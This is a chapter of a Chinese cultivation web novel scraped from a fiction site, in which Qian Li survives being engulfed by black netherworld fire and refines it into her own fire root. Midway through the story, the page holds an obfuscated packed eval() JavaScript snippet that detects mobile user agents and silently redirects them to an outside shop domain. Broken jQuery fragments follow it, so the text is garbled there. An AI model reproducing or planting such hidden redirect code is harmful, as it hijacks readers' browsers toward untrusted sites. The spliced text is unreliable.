文趣网 > 其他小说 > 修仙从负基础开始 > 36.符箓迷路
    下一瞬,一股磅礴威压降下。

    千黎肩背一沉,整个人被死死按在原地,无法动弹。

    好强的修为。

    这人带给她的压迫感,竟比青云宗各位长老更甚。

    黑火明灭间,那人的面容晦暗不明,声音嘶哑:“谁派你来的?”

    千黎道:“没有人派我来。我用了传送符,便到了这里。”

    对方默了几瞬,似乎在打量她,又道:“把传送符拿出来。”

    千黎想伸手去取,压在身上的威压却令她连手指都无法动弹。

    她眨眨眼,道:“我动不了。”

    那人略微收回威压。

    千黎动了动手,发现自己已经可以活动了,这才从储物袋中取出剩余的传送符。

    几张符纸自行飞起,飘到那人身前。

    过了片刻,那人抬头看向千黎,问:“你是哪家的孩子?”

    千黎道:“我没有家。”

    “你叫什么?”

    “千黎。”

    那人思索片刻,问:“姓千?”

    千黎摇头:“我只有字,没有姓。”

    “青云宗弟子?”

    千黎点头。

    那几张传送符又乖巧地飞了回来,落回她手中的那叠符纸上。

    那人道:“去旁边坐着。再过两个时辰,我送你出去。”

    千黎点点头,走到距离对方最远的角落,盘膝坐下。

    千黎低头看向手中的传送符。

    乍看之下,这些符一模一样。

    可她逐张比对以后,很快发现,其中有两张符纸中心的符纹,与其余符纸略有不同。

    不同之处只有寥寥几笔,却足以将传送的落点改到另一个地方。

    千黎抬头看了一眼。

    那人仍盘膝坐在黑火之中,双目紧闭;她身上的衣物已有多处被黑火烧毁,偶尔飘下几片灰烬。

    千黎心中嘀咕,真不知这人在修什么功法,把自己折腾成这样。

    她收起传送符,也开始运功调息。

    不知过了多久,千黎从入定中醒来。

    刚一睁眼,神色一变。

    原本只缠绕在那人身上的黑火,此刻如一条火蛇,贴着地面朝她蜿蜒而来。

    那人骤然睁开眼睛,低声呵道:“敛住气息,封闭经脉。”

    千黎瞳孔微缩,立即照做。

    黑色火蛇果然停了下来。

    它在距离千黎数尺之处缓慢游动,仿佛失去了方向。

    片刻后,那黑火开始沿着来路退回。

    千黎心中松了一口气。

    地上的火焰却在此瞬间猛然窜起,直奔她面门而来。

    千黎抬起左手挥出一道灵力屏障,右手指尖凝出灵力,飞快在空中画阵。

    灵力屏障阻碍了黑火一瞬。

    可是这一瞬,根本不够阵成。

    黑火轰然炸开,屏障消散。

    火焰如迅速合拢的捕蝇草,一口将千黎吞没。

    千黎仿佛跌入了滚烫的深水,浑身沉闷,无法呼吸。

    而黑火如流动的水,无孔不入,自她的七窍与周身裂痕涌入,滚过经脉,直奔丹田。

    她闷哼一声,死死咬住牙关,调动灵力试图阻挡。

    可黑火所到之处,任何阻碍皆被它视作燃料。千黎用来抵挡它的灵力,反而令火势烧得更旺。

    好痛,仿佛肉身与神魂都要一并被焚毁。

    剧痛之下,千黎眼前阵阵发黑,意识也开始涣散。

    一只冰冷的手贴上了她的脸颊,唤回了她的神智。

    说话之人的声音低沉而温和:“不要阻挠它。”

    “要驯服它。”

    驯服……?

    黑火已然冲入丹田,如滔天巨浪洗刷其间。

    丹田内的凝霜沐月草战栗着,被黑火吞没。

    要怎么驯服?

    和第一次炼制灵根时一样,黑火在她经脉中横冲直撞。千黎甚至怀疑,自己的经脉已经再次裂开。

    “会炼器么?”那温和声音又响起,“驯服它,炼化它。”

    疼痛难忍,千黎几乎无法思考。

    她的指甲深深嵌入掌心。意识浮沉之间,一只手覆上她的手背,温和的灵力缓缓渡入她体内。

    疼痛稍稍减弱,她终于恢复了几分清明。

    黑火仍在她体内毫无章法地横冲直撞,将所有灵力都吞噬。

    灵力一碰上黑火就没了,何谈炼化?

    千黎忽然想起,自己第一次炼制灵根时,体内根本没有灵力。

    那时,她用的是神识。

    她天生便能调用神识,只是神识关乎识海与神魂,她修为尚低,平日从不敢轻易动用。

    若是以神识触碰黑火,她会不会被黑火烧成傻子?

    算了,傻子就傻子,比死了好!

    千黎放出神识,小心翼翼地探向黑火。

    两者相触的刹那,剧痛轰然贯入识海。

    千黎只觉自己的神魂似被当头一棒,她神魂震荡,浑身紧绷。

    “实在乱来。”那人两指掐着千黎的脸,声音带了些怒气,“把神识收起来!”

    千黎乖觉地收起神识。

    “炼器,便是视万物为器,以灵力炼万物;以自身为器,以自身炼万物。”

    以自身为器,以自身炼万物。

    千黎在心中喃喃念着,却不得其解。

    她自己是器,可是要如何以自身炼万物?

    体内的黑火燃烧不绝,仿佛要将她彻底熔化,就像在……

    炼制她。

    千黎心头一震。

    以自身炼万物。

    亦以万物炼自身。

    先前不得其解之处,在这一刻豁然贯通。

    千黎开始运转《周天引灵经》。

    她引入一缕灵力,将其送入一条经脉。黑火紧随其后,试图将其吞噬。

    她又将下一缕灵力引向别处。

    黑火果然调转方向,再次追了过去。

    千黎不断引入灵力,以灵力为饵,引诱着黑火一点点走过周身经脉,沿周天运转。

    黑火滚过之处皆滚烫灼热,经脉上的黑光更盛。

    随着火焰一次次沿经脉运转,身体上的裂隙也开始在高温中熔化、愈合。

    像是一件残破的器物被重新投入炉火,烧去旧痕,再将破碎之处重新炼为一体。

    千黎浑身发抖,意识渐渐模糊。

    只有覆在手背上的那只手仍在不断渡入灵力,替她维持着最后一线清明。

    周天一圈圈运转。

    丹田之中,一簇极小的黑色火苗逐渐凝聚成形。

    每完成一个周天,经脉中的黑火便有一部分汇入火苗。

    等最后一缕火焰被炼化时,千黎身上的裂纹也已彻底消失。

    她再也支撑不住,意识彻底陷入黑暗,身体向前倒去。

    再次醒来时,她正躺在地上,身上披着一件宽大的外袍。

    不远处,一名乌发女修身穿暗色长袍,正闭目调息。

    千黎刚刚睁眼,对方也随之睁开了眼睛。

    她坐起身,这才发现自己身下还垫着一层衣服。

    千黎低头看向自己。

    身上的裂纹已经全部消失,仅凭肉眼,她看起来与寻常修士无益。

    对方此前始终没有以神识探查她,想来还没有发现这具身体的异样。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815602|208889||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    女修道:“把衣服穿上吧。”

    千黎将盖在身上的衣袍穿好。

    浅色衣袍原本十分宽大,可她系上腰带以后,衣袍便自行缩小,贴合了她的身形。

    千黎惊奇地摸了摸衣料,这是件上好的法衣。

    她转头寻找自己的法器与弟子令牌,发现东西都被放在不远处,旁边还有一条裤子。

    千黎立即拿来穿好,将储物袋与令牌系回腰间,又拿起红绸,简单束起头发。

    “运转功法。”女修道,“看看经脉是否有损。”

    千黎依言盘膝坐好,运转《周天引灵经》。

    灵气流过四肢百骸,经脉畅通无阻,甚至比受伤以前还要坚韧几分。

    甚至,经脉之上的黑光也变得更盛。

    “经脉无损。”千黎一边说着,一边将心神沉入丹田。

    凝霜沐月草已经完全被烧成了焦炭,若不是其叶片上有些许霜晶,千黎都要以为它已经死了。

    而在它不远处,多出了一簇极小的黑色火苗。

    千黎猛地睁开眼睛。

    先前她神思涣散,根本无暇细想。直到此刻缓过神来,才终于意识到哪里不对。

    千黎道:“这是你的火!?”

    女修失笑:“倒也不是我的火。”

    她脸上笑容一收,严肃地看着千黎,道:“这是幽冥火,已经被你炼化了。”

    千黎面色茫然。

    总之,这什么幽冥火,现在是她的火灵根了……?

    既然不是这女修的火,那她把这火炼化了,这女修应该不会找她麻烦吧?

    虽然分明是这火自己扑上来的。

    “关于此火,你不能对任何人声张。”女修说着,抬起右手,一道禁制对着千黎压下。

    千黎下意识想躲开,又硬生生停在原地,眼睁睁看着禁制落入自己身体,压在丹田内的黑色火苗上。

    女修将她的动作尽收眼底,眼中带了些笑意,道:“此火难以掌控,若在下界现世,更是容易引来祸事。我先替你将其封上。”

    说罢,女修对千黎抛出一块令牌。

    “你且去青云宗等我。”

    便一挥手,千黎脚下瞬间阵成,纹路亮起白光。

    下一瞬,千黎已然出现在青云宗山门前。

    此时已是白日。天高云淡,柔风轻抚过千黎脸庞。

    若不是身上还是那件上好的法衣,她几乎要以为,昏暗洞穴中的一切都只是一场梦。

    千黎回寝所换回弟子服,又清点了一遍储物袋。

    从王家得来的诸多灵物,除了她特意留下的两株一阶灵草,其余都耗在了引水阵中。

    至于那些丹药,大多是延寿丹与养神丹,千黎暂时用不上。

    她只留下两瓶回元丹,又将其余丹药分别装进自备的瓷瓶,准备下次下山时一并卖掉。

    千黎又拿出那女修扔给她的令牌,细细打量。

    令牌浑身凝白,看不出是什么材质,触手温润,有些像玉。正面刻着青云纹,背面则只有一个“庚”字。

    这样式和千黎自己的弟子令牌有些像,但从材质看来,这个令牌显然是属于长老那一辈的——虽然千黎也没见过其他长老、讲师们的令牌是什么样子。

    她是青云宗的长老?以前从未见过。

    不过她从前只是个杂役,如今也不过是尚未分堂的外门弟子,青云宗内千黎没见过的人多的去了。

    她收起令牌,不作他想。

    整理妥当后,千黎先去杂务堂交了任务,随后带着写好的开课声明来到藏书阁。

    正将信压在阵法书下,千黎一抬头,便看见越长风正倚着旁边的书架,静静看着她。